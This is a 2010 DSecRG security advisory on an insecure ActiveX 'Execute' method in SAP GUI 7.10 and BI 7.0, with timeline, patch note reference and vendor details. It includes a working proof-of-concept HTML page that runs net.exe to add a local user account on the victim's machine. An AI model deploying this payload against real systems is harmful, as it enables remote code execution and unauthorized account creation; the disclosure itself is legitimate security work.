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Security vulnerability found in SAP GUI 7.10 and BI 7.0 that allows operating system functions to be called remotely.
Application: SAP GUI
Versions Affected: SAP GUI (SAP GUI 7.1)
Vendor URL: http://SAP.com
Bugs: Insecure method. Code Execution.
Exploits: YES
Reported: 16.10.2009
Vendor response: 27.10.2009
Date of Public Advisory: 23.03.2010
Author: Alexey Sintsov from DSecRG
Description
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Insecure method was founded in SAPBExCommonResources (class BExGlobal) activeX control component which is a part of SAP GUI.
One of the methods (Execute) can be used to execute files on users system.
Details
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Attacker can construct html page which call vulnerable function "Execute" from ActiveX Object BExGlobal.
Example (add user 'don_huan' with password 'p4ssW0rd'):
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<html>
<title>*DSecRG* Add user *DSecRG*</title>
<object classid="clsid:A009C90D-814B-11D3-BA3E-080009D22344" id='DH'></object>
<script language='Javascript'>
function init()
{
DH.Execute("net.exe","user don_huan p4ssW0rd /add","d:\\windows\\",1,"",1);
}
init();
</script>
DSecRG
</html>
Fix Information
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All patches are available since December via note 1407285
References
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http://dsecrg.com/pages/vul/show.php?id=164
https://service.sap.com/sap/support/notes/1407285.
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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